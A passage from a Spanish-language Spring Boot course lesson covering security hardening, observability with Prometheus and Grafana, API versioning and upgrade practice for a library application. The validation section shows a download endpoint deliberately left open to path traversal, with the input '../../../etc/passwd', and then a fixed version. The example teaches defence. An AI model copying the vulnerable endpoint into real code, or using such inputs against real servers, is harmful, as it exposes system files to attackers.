    key-store-password: ${TLS_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
    protocol: TLS
    enabled-protocols: TLSv1.3,TLSv1.2        # TLS 1.0 y 1.1 están obsoletos

En la práctica, lo habitual es terminar TLS en un proxy inverso o balanceador (nginx, Traefik, un Ingress). En ese caso hay que decirle a Spring que confíe en las cabeceras del proxy:

server:
  forward-headers-strategy: framework     # respeta X-Forwarded-Proto y X-Forwarded-For

Cabeceras de seguridad, cada una con su ataque asociado:

Cabecera Protege de Valor
Strict-Transport-Security Degradación a HTTP max-age=31536000; includeSubDomains
Content-Security-Policy XSS default-src 'self'; object-src 'none'
X-Content-Type-Options Adivinación de tipo MIME nosniff
X-Frame-Options Clickjacking DENY
Referrer-Policy Fuga de URLs strict-origin-when-cross-origin
Permissions-Policy Acceso a cámara, micrófono… geolocation=(), camera=()

Límites de tamaño, para que nadie tumbe el servicio con una petición enorme:

spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 12MB
server:
  tomcat:
    max-http-form-post-size: 2MB
    max-swallow-size: 2MB
    connection-timeout: 20s
    threads:
      max: 200

Límite de tasa, con Resilience4j (mencionado en 11-07):

@Component
public class FiltroLimiteTasa extends OncePerRequestFilter {

    private final Cache<String, Bucket> cubos = Caffeine.newBuilder()
            .expireAfterAccess(Duration.ofMinutes(10))
            .maximumSize(100_000)
            .build();

    @Override
    protected void doFilterInternal(HttpServletRequest p, HttpServletResponse r, FilterChain c)
            throws ServletException, IOException {

        String clave = claveDe(p);      // usuario autenticado, o IP si es anónimo
        Bucket cubo = cubos.get(clave, k -> nuevoCubo(p));

        ConsumptionProbe sonda = cubo.tryConsumeAndReturnRemaining(1);
        if (sonda.isConsumed()) {
            r.setHeader("X-RateLimit-Remaining", String.valueOf(sonda.getRemainingTokens()));
            c.doFilter(p, r);
        } else {
            long esperaSegundos = sonda.getNanosToWaitForRefill() / 1_000_000_000;
            r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());        // 429
            r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(esperaSegundos));
            escribirProblema(r, "Demasiadas peticiones. Reintenta en " + esperaSegundos + " s.");
        }
    }

    private Bucket nuevoCubo(HttpServletRequest p) {
        // El login se limita MUCHO más: es la puerta a los ataques de fuerza bruta
        boolean esLogin = p.getRequestURI().startsWith("/api/auth/login");
        int porMinuto = esLogin ? 5 : 100;
        return Bucket.builder()
                .addLimit(l -> l.capacity(porMinuto).refillGreedy(porMinuto, Duration.ofMinutes(1)))
                .build();
    }
}

  1. Validación de toda entrada externa

Retoma 09-03 y 12-04, y se enuncia como regla:

Toda entrada externa es hostil hasta que se demuestre lo contrario. Externa incluye: cuerpos de peticiones, parámetros, cabeceras, cookies, ficheros subidos, respuestas de APIs externas, mensajes de colas, argumentos de línea de comandos y variables de entorno.

Entrada Riesgo Validación
Cuerpo JSON Inyección, campos inesperados @Valid + DTO cerrado (12-04)
Parámetro de ruta Path traversal, inyección Convertidor tipado + patrón
Nombre de fichero subido ../../etc/passwd Nombre generado, nunca el del usuario
Contenido de fichero Zip bomb, malware, XXE Límite de tamaño, tipo verificado
Respuesta de API externa Datos malformados o maliciosos DTO tipado, límites, tiempo de espera
Cabecera Host Envenenamiento de caché Lista blanca de hosts permitidos

El caso del path traversal, que es el error más fácil de cometer:

// VULNERABLE: nombre = "../../../etc/passwd"
@GetMapping("/api/informes/{nombre}")
public Resource descargar(@PathVariable String nombre) throws IOException {
    return new FileSystemResource(Path.of("/var/bibliotech/informes/", nombre));
}
// SEGURO: normalizar y verificar que sigue dentro del directorio permitido
private static final Path BASE = Path.of("/var/bibliotech/informes").toAbsolutePath().normalize();

@GetMapping("/api/informes/{nombre}")
public Resource descargar(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String nombre)
        throws IOException {

    Path solicitado = BASE.resolve(nombre).normalize();

    // La comprobación DECISIVA: tras normalizar, ¿sigue dentro de BASE?
    if (!solicitado.startsWith(BASE)) {
        throw new AccessDeniedException("Ruta no permitida");
    }
    if (!Files.isRegularFile(solicitado)) {
        throw new RecursoNoEncontradoException(nombre);
    }
    return new FileSystemResource(solicitado);
}

Y el XXE (XML External Entity), que afecta a cualquier procesamiento de XML:

// SEGURO: desactivar entidades externas antes de parsear cualquier XML
DocumentBuilderFactory fabrica = DocumentBuilderFactory.newInstance();
fabrica.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
fabrica.setFeature("http://xml.org/sax/features/external-general-entities", false);
fabrica.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
fabrica.setXIncludeAware(false);
fabrica.setExpandEntityReferences(false);

  1. Advertencia sobre seguridad real

⚠️ ADVERTENCIA IMPORTANTE

Lo que has aprendido en esta lección es una base sólida, y no es suficiente para poner en producción un sistema que maneje datos personales, credenciales o dinero.

Un curso puede enseñarte los mecanismos: BCrypt, JWT, autorización, validación, cabeceras. No puede sustituir:

  • Una revisión por un profesional de seguridad. Las vulnerabilidades reales suelen estar en las interacciones entre componentes, no en un mecanismo aislado. Alguien que se dedica a esto ve cosas que quien escribió el código no puede ver.
  • Una prueba de penetración antes de exponer el sistema a internet.
  • El cumplimiento de la normativa aplicable. En la Unión Europea, el RGPD impone obligaciones concretas y con sanciones: base legal para tratar los datos, minimización, derecho de acceso, rectificación y supresión, notificación de brechas en 72 horas, evaluaciones de impacto, y registro de actividades de tratamiento. Si BiblioTech guarda nombres, correos y hábitos de lectura de empleados, está tratando datos personales y el RGPD aplica.
  • Una política de gestión de incidentes. Qué se hace cuando —no si— se detecta una brecha: quién decide, a quién se avisa, cómo se rotan las credenciales, cómo se comunica.
  • Formación continua. Las técnicas de ataque evolucionan. Lo que era seguro en 2020 puede no serlo hoy.

Regla práctica: si tu sistema maneja datos de personas reales, credenciales o pagos, no lo expongas sin que alguien con formación específica en seguridad lo haya revisado. No es pesimismo: es que el coste de equivocarse lo pagan terceros que confiaron en ti.

Y una regla más, que es la que más incidentes evita: no implementes criptografía propia. Usa BCrypt o Argon2 para contraseñas, TLS para el transporte, y librerías establecidas para todo lo demás. Todos los sistemas criptográficos rotos de la historia empezaron con alguien convencido de que su idea era buena.


Parte II: Observabilidad

  1. Observabilidad: los tres pilares

Monitorización responde a preguntas que ya sabías que ibas a hacer. Observabilidad permite responder a preguntas que no habías previsto. La diferencia importa cuando el problema es nuevo, que es siempre.

Pilar Qué es Responde a Coste Retención
Registros Eventos discretos con contexto «¿Qué pasó exactamente en esta petición?» Alto (volumen) Días o semanas
Métricas Valores numéricos agregados en el tiempo «¿Cuántas peticiones por segundo? ¿Qué latencia?» Bajo Meses o años
Trazas El recorrido de una petición por el sistema «¿En qué componente se fue el tiempo?» Medio (muestreo) Días

Por qué no bastan los registros, que es lo que casi todo el mundo tiene y nada más:

Pregunta ¿La responden los logs?
¿Cuántas peticiones por segundo? Contando líneas: caro y aproximado
¿Cuál es la latencia del percentil 99? Prácticamente imposible
¿Ha empeorado respecto a la semana pasada? No, si ya se rotaron
¿Se está agotando el pool de conexiones? Solo si alguien pensó en registrarlo
¿Qué tarda más, la base de datos o la API externa? Muy laboriosamente
¿Cuánta memoria queda antes del próximo GC? No

Y hay un problema añadido: registrar en el nivel necesario para responder a esas preguntas produce tal volumen que se vuelve inasumible en coste y en ruido. Las métricas son baratas porque agregan; los registros son caros porque conservan cada evento.

  1. Actuator y Micrometer

Micrometer es a las métricas lo que SLF4J es al logging (11-07): una fachada que desacopla tu código del sistema de métricas concreto. Escribes contra Micrometer y decides después si van a Prometheus, Datadog, CloudWatch o New Relic.

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-registry-prometheus</artifactId>
  <scope>runtime</scope>
</dependency>
management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus,loggers
  endpoint:
    health:
      probes: { enabled: true }
      show-details: when-authorized
  metrics:
    tags:
      application: bibliotech          # etiqueta común a TODAS las métricas
      entorno: ${SPRING_PROFILES_ACTIVE:desconocido}
  observations:
    key-values:
      version: ${bibliotech.version}
  prometheus:
    metrics:
      export:
        enabled: true

Con eso, Spring Boot ya expone decenas de métricas sin escribir código:

Métrica Qué mide
http.server.requests Peticiones: cuenta, latencia, por ruta, método y estado
jvm.memory.used Memoria por región (10-07)
jvm.gc.pause Pausas del recolector
jvm.threads.live Hilos vivos
hikaricp.connections.active Conexiones del pool en uso
hikaricp.connections.pending Hilos esperando conexión
spring.data.repository.invocations Llamadas a repositorios
system.cpu.usage CPU
logback.events Eventos de log por nivel

Los cuatro tipos de instrumento:

Tipo Qué mide Ejemplo
Counter Valor que solo crece Préstamos creados
Gauge Valor instantáneo Materiales disponibles
Timer Duración y frecuencia Tiempo de cálculo de multas
DistributionSummary Distribución de valores Tamaño de las importaciones

  1. Métricas de negocio

Las métricas técnicas dicen si el sistema está sano. Las de negocio dicen si está haciendo su trabajo, y son las que detectan los fallos silenciosos.

@Service
public class MetricasBiblioTech {

    private final Counter prestamosCreados;
    private final Counter prestamosRechazados;
    private final Counter multasEmitidas;
    private final Timer tiempoCalculoMultas;
    private final DistributionSummary importeMultas;

    public MetricasBiblioTech(MeterRegistry registro, RepositorioMateriales materiales) {

        this.prestamosCreados = Counter.builder("bibliotech.prestamos.creados")
                .description("Préstamos creados correctamente")
                .baseUnit("prestamos")
                .register(registro);

        this.prestamosRechazados = Counter.builder("bibliotech.prestamos.rechazados")
                .description("Intentos de préstamo rechazados")
                .register(registro);

        this.multasEmitidas = Counter.builder("bibliotech.multas.emitidas")
                .register(registro);

        this.tiempoCalculoMultas = Timer.builder("bibliotech.multas.calculo")
                .publishPercentiles(0.5, 0.95, 0.99)
                .register(registro);

        this.importeMultas = DistributionSummary.builder("bibliotech.multas.importe")
                .baseUnit("euros")
                .publishPercentiles(0.5, 0.95)
                .register(registro);

        // Gauge: se consulta cuando se recoge la métrica.
        // OJO: la función debe ser BARATA. Aquí una consulta cacheada, no un count() a la BD.
        Gauge.builder("bibliotech.materiales.disponibles", materiales::contarDisponiblesCacheado)
                .description("Materiales con al menos una unidad libre")
                .register(registro);
    }

    /** Con etiqueta de motivo: permite ver POR QUÉ se rechazan. */
    public void prestamoRechazado(String motivo) {
        prestamosRechazados.increment();
        Counter.builder("bibliotech.prestamos.rechazados.por.motivo")
                .tag("motivo", motivo)      // limite_excedido, sin_unidades, multas_pendientes
                .register(registro)
                .increment();
    }
}

Y el uso, integrado en el caso de uso:

@Service
public class GestorPrestamos {

    @Timed(value = "bibliotech.prestamos.duracion", percentiles = {0.5, 0.95, 0.99})
    @Transactional
    public Prestamo prestar(Isbn isbn, Long idEmpleado, Integer dias) {
        try {
            Prestamo prestamo = crearPrestamo(isbn, idEmpleado, dias);
            metricas.prestamoCreado(prestamo.getMaterial().tipo());
            return prestamo;
        } catch (LimiteDePrestamosExcedidoException e) {
            metricas.prestamoRechazado("limite_excedido");
            throw e;
        } catch (MaterialNoDisponibleException e) {
            metricas.prestamoRechazado("sin_unidades");
            throw e;
        }
    }
}

Aviso sobre la cardinalidad. Nunca uses como etiqueta un valor con muchos valores posibles: identificador de usuario, ISBN, dirección IP, marca de tiempo. Cada combinación de etiquetas crea una serie temporal distinta, y una etiqueta con 100.000 valores crea 100.000 series. Es la forma más rápida de tumbar un Prometheus. Etiquetas buenas: tipo de material (3 valores), motivo de rechazo (5), estado HTTP (10). Etiquetas prohibidas: idEmpleado, isbn, url completa con parámetros.

  1. Prometheus y Grafana

Prometheus recoge métricas mediante scraping: consulta periódicamente el endpoint que expone la aplicación.

$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_prestamos
# HELP bibliotech_prestamos_creados_total Préstamos creados correctamente
# TYPE bibliotech_prestamos_creados_total counter
bibliotech_prestamos_creados_total{application="bibliotech",entorno="prod",tipo="LIBRO"} 1247.0
bibliotech_prestamos_creados_total{application="bibliotech",entorno="prod",tipo="DVD"} 89.0
# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: bibliotech
    metrics_path: /actuator/prometheus
    static_configs:
      - targets: ['bibliotech:8080']

rule_files:
  - alertas.yml

Consultas PromQL para las preguntas que de verdad se hacen:

# Peticiones por segundo, por endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)

# Latencia del percentil 95
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))

# Tasa de error (5xx sobre el total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))

# Uso del pool de conexiones
hikaricp_connections_active / hikaricp_connections_max

# Préstamos por hora
sum(rate(bibliotech_prestamos_creados_total[1h])) * 3600

# Memoria del heap en uso, en porcentaje
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})

Añadir a compose.yaml (12-06) el stack completo para desarrollo:

  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./observabilidad/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - ./observabilidad/alertas.yml:/etc/prometheus/alertas.yml:ro
    ports: ["9090:9090"]

  grafana:
    image: grafana/grafana:latest
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - ./observabilidad/grafana:/etc/grafana/provisioning:ro
    ports: ["3000:3000"]
    depends_on: [prometheus]

  1. Las cuatro señales de oro

De todas las métricas posibles, hay cuatro que responden al 90 % de las preguntas operativas. Vienen del libro de SRE de Google y son el punto de partida de cualquier panel:

Señal Qué mide En BiblioTech Alerta si
Latencia Tiempo de respuesta p95 y p99 de http.server.requests p95 > 500 ms durante 5 min
Tráfico Demanda Peticiones por segundo Caída del 50 % respecto a lo habitual
Errores Peticiones fallidas Tasa de 5xx > 1 % durante 5 min
Saturación Cuán lleno está el sistema Pool de conexiones, memoria, CPU Pool > 80 %, heap > 85 %

Dos matices que importan más de lo que parecen:

Mide percentiles, no medias. La media esconde exactamente los casos que molestan. Con 1.000 peticiones de 50 ms y 10 de 8 segundos, la media es 129 ms —parece bien— y hay diez usuarios convencidos de que el sistema está roto. El p99 sí lo ve.

La latencia de los errores se mide aparte. Un 500 que responde en 3 ms mejora artificialmente la media de latencia. Separa siempre latencia de peticiones correctas y de fallidas.

  1. Trazas distribuidas

Cuando una petición atraviesa varios componentes, los registros dispersos no dicen dónde se fue el tiempo. Las trazas siguen la petición de extremo a extremo.

<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
  <groupId>io.opentelemetry</groupId>
  <artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>
management:
  tracing:
    sampling:
      probability: 0.1        # 10 % de las peticiones: coste bajo, muestra suficiente
  otlp:
    tracing:
      endpoint: http://tempo:4318/v1/traces

logging:
  pattern:
    # traceId y spanId en CADA línea de log: así se une una traza con sus registros
    level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"

Una traza de POST /api/prestamos:

Trace a3f7e91c4b2d8f6a  ─── total: 187 ms
├── http POST /api/prestamos                                187 ms
│   ├── GestorPrestamos.prestar                             184 ms
│   │   ├── select material where isbn = ?                    4 ms
│   │   ├── select count(*) from prestamo where …              3 ms
│   │   ├── PasarelaMetadatos.buscar (HTTP externo)         142 ms  ← EL CULPABLE
│   │   ├── insert into prestamo                              6 ms
│   │   └── NotificadorAvisos.notificar                      27 ms
│   └── serialización JSON                                    2 ms

En un vistazo: el 76 % del tiempo se va en una llamada HTTP externa. Sin trazas, eso son horas de instrumentación manual.

Y aquí se cobra el MDC de 11-07. El traceId que Micrometer Tracing propaga es el mismo identificador de correlación que ya pusiste en el MDC, el mismo que aparece en el ProblemDetail de 12-04, y el mismo que devuelve la CLI en su identificador de incidencia (12-03). Un usuario reporta un problema con el identificador a3f7e91c; con él tienes la traza completa, todos los registros de esa petición y el punto exacto donde falló.

Trazas propias donde hagan falta:

@Service
public class EnriquecedorCatalogo {

    private final ObservationRegistry registro;

    public void enriquecer(List<Material> materiales) {
        Observation.createNotStarted("bibliotech.enriquecer", registro)
                .lowCardinalityKeyValue("origen", "api-metadatos")
                .highCardinalityKeyValue("cantidad", String.valueOf(materiales.size()))
                .observe(() -> {
                    materiales.forEach(this::enriquecerUno);
                });
    }
}

  1. Registros en producción

En producción, los registros deben ser estructurados. Un log en texto plano obliga a las herramientas a adivinar; uno en JSON se consulta como una base de datos.

<!-- logback-spring.xml, retomando 11-07 -->
<configuration>

  <springProfile name="dev">
    <appender name="CONSOLA" class="ch.qos.logback.core.ConsoleAppender">
      <encoder>
        <pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
      </encoder>
    </appender>
    <root level="INFO"><appender-ref ref="CONSOLA"/></root>
  </springProfile>

  <springProfile name="prod">
    <appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
      <encoder class="net.logstash.logback.encoder.LogstashEncoder">
        <includeMdcKeyName>traceId</includeMdcKeyName>
        <includeMdcKeyName>spanId</includeMdcKeyName>
        <includeMdcKeyName>usuarioId</includeMdcKeyName>
        <customFields>{"aplicacion":"bibliotech","entorno":"prod"}</customFields>
        <fieldNames>
          <timestamp>marca_tiempo</timestamp>
          <message>mensaje</message>
        </fieldNames>
      </encoder>
    </appender>

    <!-- Asíncrono: registrar NO debe frenar las peticiones -->
    <appender name="ASINCRONO" class="ch.qos.logback.classic.AsyncAppender">
      <appender-ref ref="JSON"/>
      <queueSize>2048</queueSize>
      <discardingThreshold>0</discardingThreshold>   <!-- no descartar WARN ni ERROR -->
      <neverBlock>true</neverBlock>                  <!-- ante saturación, descartar antes que bloquear -->
    </appender>

    <root level="INFO"><appender-ref ref="ASINCRONO"/></root>
    <logger name="AUDITORIA" level="INFO" additivity="false">
      <appender-ref ref="ASINCRONO"/>
    </logger>
  </springProfile>
</configuration>
{
  "marca_tiempo": "2026-08-05T10:23:45.123Z",
  "level": "INFO",
  "logger_name": "com.nexussoftware.bibliotech.aplicacion.GestorPrestamos",
  "mensaje": "Préstamo creado id=42 isbn=978-0000000001",
  "traceId": "a3f7e91c4b2d8f6a",
  "spanId": "8f6a2b1c",
  "usuarioId": "1",
  "aplicacion": "bibliotech",
  "entorno": "prod"
}

En contenedores, escribe siempre a la salida estándar. No a ficheros: el contenedor es efímero (12-06) y el orquestador ya recoge la salida estándar y la envía al agregador (Loki, Elasticsearch, CloudWatch).

Qué NO registrar, nunca:

No registrar Motivo
Contraseñas, ni siquiera para depurar Quedan en el agregador durante meses
Tokens, claves de API, cookies de sesión Robables con acceso de solo lectura al log
Números de tarjeta, DNI, datos de salud RGPD y PCI-DSS
Cuerpos completos de peticiones Suelen llevar todo lo anterior
Datos personales innecesarios Minimización del RGPD
Dentro de un bucle sobre 50.000 elementos Coste y ruido

Retención, con criterio de coste y de normativa:

Tipo Retención Motivo
DEBUG No se registra en producción Volumen
INFO 7-14 días Diagnóstico reciente
WARN / ERROR 30-90 días Análisis de tendencias
Auditoría 1-7 años Obligación legal
Métricas 13 meses Comparar con el año anterior

  1. Alertas útiles frente a ruido

Una alerta que se ignora es peor que no tenerla: entrena al equipo a ignorar todas.

Alerta buena Alerta mala
Requiere acción humana ahora Es informativa
Indica impacto en el usuario Indica una causa que puede no importar
Rara y creíble Frecuente y con falsos positivos
Dice qué hacer Solo dice qué pasó
Tiene un procedimiento asociado Nadie sabe qué hacer con ella
# alertas.yml
groups:
  - name: bibliotech
    rules:

      # ✅ BUENA: impacto directo en usuarios, requiere acción
      - alert: TasaDeErroresAlta
        expr: |
          sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
        for: 5m
        labels: { severidad: critica }
        annotations:
          summary: "Más del 1 % de las peticiones fallan con 5xx"
          descripcion: "Tasa actual: {{ $value | humanizePercentage }}"
          accion: "Revisa los logs con severity=ERROR y las trazas del último despliegue"
          runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#errores-5xx"

      # ✅ BUENA: predice un fallo antes de que ocurra
      - alert: PoolDeConexionesAgotandose
        expr: hikaricp_connections_pending{application="bibliotech"} > 5
        for: 3m
        labels: { severidad: alta }
        annotations:
          summary: "{{ $value }} hilos esperando conexión a la base de datos"
          accion: "Busca consultas lentas; considera subir maximum-pool-size"

      # ✅ BUENA: detecta un fallo SILENCIOSO
      - alert: SinPrestamosEnHorarioLaboral
        expr: |
          sum(rate(bibliotech_prestamos_creados_total[30m])) == 0
          and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
        for: 30m
        labels: { severidad: media }
        annotations:
          summary: "Ni un solo préstamo en 30 minutos en horario laboral"
          descripcion: "El sistema responde, pero quizá haya un fallo funcional"

      # ❌ MALA: no implica impacto y se dispara constantemente
      # - alert: UsoDeCpuAlto
      #   expr: system_cpu_usage > 0.8
      #   Un pico de CPU de 30 segundos no requiere que nadie se levante.

      # ❌ MALA: informativa, no accionable
      # - alert: DespliegueRealizado
      #   Eso va a un canal de notificaciones, no a una alerta.

La alerta de «ningún préstamo en horario laboral» es la más interesante de las tres, porque detecta el tipo de fallo que ninguna métrica técnica ve: el sistema responde 200 a todo, la latencia es perfecta, la CPU está tranquila… y una regla de negocio rota impide que nadie pueda prestar nada.

Nota: SLI, SLO y presupuesto de error. Un SLI (indicador) es una métrica que mide la experiencia del usuario: por ejemplo, «porcentaje de peticiones correctas por debajo de 300 ms». Un SLO (objetivo) es la meta: «99,5 % mensual». El presupuesto de error es lo que queda: con un 99,5 %, puedes fallar el 0,5 % del mes, es decir, unas 3,6 horas. Su utilidad es que convierte una discusión subjetiva en una decisión con datos: si en la primera semana has consumido el 80 % del presupuesto, se congelan las funcionalidades nuevas y se dedica el esfuerzo a fiabilidad. Y si llevas seis meses sin gastarlo, probablemente estás siendo demasiado conservador y puedes desplegar más a menudo. Un SLO del 100 % no es un objetivo ambicioso: es un objetivo mal definido, porque su coste es infinito.

  1. El cuadro de mando de BiblioTech

Un panel de Grafana con tres filas, ordenadas por lo que se mira primero:

Fila Paneles Para quién
Salud Disponibilidad, tasa de error, p95 y p99, peticiones por segundo Todo el mundo, de un vistazo
Recursos Heap, pausas de GC, hilos, pool de conexiones, CPU Quien diagnostica
Negocio Préstamos/hora, devoluciones, multas emitidas, materiales disponibles, rechazos por motivo Producto y operaciones
{
  "title": "BiblioTech — Salud",
  "panels": [
    {
      "title": "Tasa de error (5xx)",
      "targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
      "thresholds": [{ "value": 0.01, "color": "red" }]
    },
    {
      "title": "Latencia p95 por endpoint",
      "targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
    },
    {
      "title": "Préstamos por hora",
      "targets": [{ "expr": "sum(rate(bibliotech_prestamos_creados_total[1h])) * 3600" }]
    },
    {
      "title": "Rechazos por motivo",
      "targets": [{ "expr": "sum(rate(bibliotech_prestamos_rechazados_por_motivo_total[15m])) by (motivo)" }]
    }
  ]
}

Y una regla de diseño de paneles: si un panel no ha servido nunca para tomar una decisión, quítalo. Un cuadro de mando con cuarenta gráficas no se mira; uno con ocho, sí.


Parte III: Evolución

  1. Versionado de la API y depreciación

En cuanto un cliente externo consume tu API, el contrato deja de ser tuyo. Cambiarlo rompe sistemas ajenos.

Estrategia Ejemplo Ventajas Inconvenientes
En la URI /api/v1/materiales Explícita, cacheable, fácil de enrutar Duplica rutas; poco «REST puro»
Cabecera propia X-Api-Version: 2 URI limpia Invisible; difícil de probar con el navegador
Negociación de contenido Accept: application/vnd.bibliotech.v2+json La más «correcta» Compleja de usar y de depurar
Parámetro /api/materiales?version=2 Muy simple Se mezcla con los filtros
Sin versión /api/materiales Sin coste Solo viable si nunca hay cambios incompatibles

Recomendación para BiblioTech: versión en la URI. No es la más elegante, es la más práctica: se ve en cualquier log, se prueba con curl, se enruta en el proxy y cualquiera la entiende.

Lo más importante no es la estrategia, sino saber qué cambios rompen y cuáles no:

Cambio ¿Rompe?
Añadir un campo a la respuesta No (si los clientes ignoran lo desconocido)
Añadir un parámetro opcional No
Añadir un endpoint No
Eliminar un campo de la respuesta
Renombrar un campo
Cambiar el tipo de un campo
Hacer obligatorio un campo opcional
Cambiar un código de estado
Restringir un rango de valores

La primera fila es la clave: si tus clientes ignoran los campos desconocidos, puedes añadir sin romper. Por eso @JsonIgnoreProperties(ignoreUnknown = true) de 11-07 no es un detalle: es lo que permite que la API evolucione.

Depreciación ordenada, en cuatro fases:

@GetMapping("/api/v1/materiales/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
           summary = "[OBSOLETO] Usa /api/v2/materiales/{isbn}",
           description = "Se eliminará el 2027-01-01. Cambios en v2: el campo 'disponible' "
                       + "(booleano) se sustituye por 'unidadesDisponibles' (entero).")
public ResponseEntity<MaterialResponseV1> porIsbnV1(@PathVariable Isbn isbn) {
    return ResponseEntity.ok()
            .header("Deprecation", "true")                                    // RFC 8594
            .header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
            .header("Link", "</api/v2/materiales/" + isbn + ">; rel=\"successor-version\"")
            .body(MaterialResponseV1.desde(catalogo.porIsbn(isbn).orElseThrow()));
}
Fase Duración Qué se hace
1. Anuncio Publicar v2, documentar la migración, avisar a los clientes
2. Depreciación 6-12 meses v1 funciona, con cabeceras Deprecation y Sunset; medir su uso
3. Aviso final 1 mes Contactar directamente con quien siga usando v1
4. Retirada v1 devuelve 410 Gone con enlace a v2

Y una métrica que hace que todo esto funcione:

@Component
public class MetricasVersionApi {
    @EventListener
    public void alUsarV1(PeticionV1Event evento) {
        Counter.builder("bibliotech.api.v1.uso")
                .tag("cliente", evento.identificadorCliente())     // baja cardinalidad
                .register(registro)
                .increment();
    }
}

Sin esa métrica, retirar v1 es una apuesta. Con ella, sabes exactamente quién queda y puedes llamarle.

  1. Deuda técnica y actualizaciones

Gestión de la deuda. Retomando 12-05, la deuda se gestiona haciéndola visible:

Práctica Cómo
Registrarla Incidencias con etiqueta deuda-tecnica y su coste estimado
Cuantificarla «Esto nos cuesta 2 h por sprint» es un argumento; «está feo» no lo es
Presupuestarla Un 15-20 % de la capacidad de cada iteración
Pagarla donde duele Refactorizar lo que se toca a menudo, no lo que está feo y quieto
Prevenirla Clean as You Code de 12-05

Actualizar Java. El calendario de soporte:

Versión Tipo Soporte hasta
Java 17 LTS 2029
Java 21 LTS 2031
Java 25 LTS ~2033
Intermedias (22, 23, 24…) 6 meses La siguiente

Estrategia razonable: producción en LTS, y probar cada versión intermedia en CI (la matriz de 12-05) para detectar problemas con antelación.

Actualizar Spring Boot, que es lo que más trabajo suele dar:

Tipo Ejemplo Riesgo Frecuencia
Parche 3.3.4 → 3.3.5 Muy bajo. Correcciones de seguridad Mensual
Menor 3.3 → 3.4 Bajo. Algunas depreciaciones Cada 6 meses
Mayor 2.7 → 3.0 Alto: javaxjakarta, Java 17 mínimo Con planificación
./mvnw versions:display-dependency-updates       # qué dependencias tienen versión nueva
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updates

Procedimiento seguro para una actualización mayor, que es el que evita las semanas perdidas:

  1. Leer las notas de migración oficiales, enteras. No es opcional.
  2. Rama propia, solo para la actualización. Sin mezclar funcionalidades.
  3. Subir una versión menor cada vez (3.1 → 3.2 → 3.3), no de golpe.
  4. Ejecutar la suite completa en cada salto.
  5. Corregir depreciaciones antes de subir a la siguiente mayor.
  6. Desplegar en preproducción y vigilar métricas 48 horas.
  7. Producción con azul-verde (12-06), listo para volver atrás.

Y una herramienta que ahorra mucho trabajo mecánico: OpenRewrite aplica recetas de migración automáticamente.

./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
  -Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3

  1. Documentación que sobrevive

Toda documentación se queda obsoleta. La única que no lo hace es la que se genera o se verifica automáticamente.

Documento Dónde Cómo sobrevive
README Raíz del repositorio CI ejecuta sus comandos de arranque
OpenAPI Generado del código Se genera; no puede mentir
ADR docs/adr/ Inmutables por diseño (12-01)
Javadoc del dominio En el código Se lee al usar la clase
Runbooks Wiki, enlazados desde las alertas Se revisan tras cada incidente
Diagramas de arquitectura docs/, como código (Mermaid, PlantUML) Se revisan en el PR
Wiki con «cómo funciona el sistema» No sobrevive. Evítala

Un runbook es lo que más se agradece a las tres de la mañana:

# Runbook: TasaDeErroresAlta

## Qué significa
Más del 1 % de las peticiones devuelven 5xx durante 5 minutos.

## Impacto
Usuarios recibiendo errores. Prioridad alta.

## Diagnóstico
1. ¿Hubo un despliegue en la última hora?
   `kubectl rollout history deployment/bibliotech -n produccion`
   → Si sí, **la primera hipótesis es esa**: `kubectl rollout undo`
2. ¿Qué endpoint falla?
   Grafana → BiblioTech Salud → «Errores por endpoint»
3. ¿Qué excepción?
   `{aplicacion="bibliotech"} | json | level="ERROR"` en Loki, últimos 15 min
4. ¿La base de datos responde?
   `curl -s $BASE/actuator/health | jq .components.db`
5. ¿El pool está saturado?
   Grafana → Recursos → «Conexiones pendientes»

## Causas frecuentes
| Síntoma | Causa | Solución |
|---|---|---|
| Errores tras un despliegue | Regresión | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | BD caída o pool agotado | Comprobar la BD; buscar consultas lentas |
| `SocketTimeoutException` a metadatos | API externa caída | Activar el modo degradado |
| OOMKilled en los pods | Memoria insuficiente | Subir el límite; buscar fugas (10-07) |

## Escalado
